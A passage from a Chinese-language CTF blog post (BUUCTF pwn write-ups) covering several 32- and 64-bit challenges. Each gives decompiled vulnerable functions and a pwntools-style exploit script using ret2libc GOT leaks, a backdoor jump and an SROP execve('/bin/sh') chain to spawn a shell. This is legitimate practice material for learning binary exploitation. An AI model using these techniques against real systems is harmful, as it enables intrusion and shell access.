printf("Ok, sounds good. Give me %u bytes of data!\n", n32);
get_n(nptr, n32);
return printf("You said: %s\n", nptr);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# Exp
## 我libcsearh不出来,但是题目给了环境,拿glibc-all-in-one里的2.23来用就行
sl(str(-1))

func_plt = elf.plt['printf']
func_got = elf.got['printf']
fmt = 0x080486F8
again = elf.sym['main']

overoff = 0x2c+4

payload = overoff*b'a' + p(func_plt) + p(again) + p(fmt) +p(func_got)

sla("of data!\n",payload)
rl()
ru('You said: ')
func_addr = u(r(4))
lgs(hex(func_addr))

libc = ELF(libcPath+'libc-2.23-3.so')

libcBase = func_addr - libc.sym['printf']

sysAddr,shellStr = LLSysBin(libc,libcBase)

sl(str(-1))
payload = overoff*b'a' + p(sysAddr)+ p(again) + p(shellStr)
sl(payload)

wustctf2020_getshell

考点

  • 32位栈溢出+后门
1
2
3
4
5
6
ssize_t vulnerable()
{
_BYTE buf[24]; // [esp+0h] [ebp-18h] BYREF

return read(0, buf, 0x20u);
}
1
2
# Exp
payload = junk(0x1c) + p(elf.sym['shell'])

jarvisoj_level3

考点

  • 32位栈溢出
  • Ret2libc
1
2
3
4
5
6
7
ssize_t vulnerable_function()
{
_BYTE buf[136]; // [esp+0h] [ebp-88h] BYREF

write(1, "Input:\n", 7u);
return read(0, buf, 0x100u);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# Exp
## 毛病(原件是libc-2.19.so),环境得要[OGeek2019]babyrop题目的libc
func_plt = elf.plt['write']
func_got = elf.got['write']
again = elf.sym['main']

overoff = 0x88+4

payload = overoff*b'a' + p(func_plt) + p(again) + p(1) + p(func_got) + p(4)

sla("Input:\n",payload)

func_addr = u(r(4))
lgs(hex(func_addr))

libc = ELF('./libc-2.23.so')
libcBase = func_addr - libc.sym['write']
sysAddr,shellStr = LLSysBin(libc,libcBase)

payload = overoff*b'a' + p(sysAddr) + p(again) + p(shellStr)
sla("Input:\n",payload)


ciscn_2019_s_3

考点

  • SROP
  • 栈溢出
1
2
3
4
5
6
7
8
signed __int64 vuln()
{
signed __int64 v0; // rax
char buf[16]; // [rsp+0h] [rbp-10h] BYREF

v0 = sys_read(0, buf, 0x400uLL);
return sys_write(1u, buf, 0x30uLL);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# Exp(SROP)
## 这里注意一个点,记得获取栈地址
## 在获取栈地址的时候要记得将本地环境修改到2.27上,不然调试的时候无法实现
## 在计算偏移的时候可以利用distance来帮助计算,我这里leak的是[rsp+10]
### 想打Ret2syscall---->execve('/bin/sh\x00',NULL,NULL),那么就需要解决rdx怎么置零的问题,因为工具没找到rdx的ROPgadget
rax_ret = 0x04004DA
syscall_ret = 0x0400517
again = elf.sym['vuln']

payload = junk(0x10) + p(again)
s(payload)
r(0x20)
stack_addr = u(r(6).ljust(8,b'\x00')) - 0x118
lgs(hex(stack_addr))

frame = SigreturnFrame()
frame.rax = 0x3b
frame.rdi = stack_addr + 0x118
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_ret

payload = junk(0x10) + p(rax_ret) + p(syscall_ret) + bytes(frame) + b'/bin/sh\x00'
sl(payload)

PWN-BUUCTF-1
https://tforevery.github.io/PWN-BUUCTF-1/
作者
TY
发布于
2025年4月1日
许可协议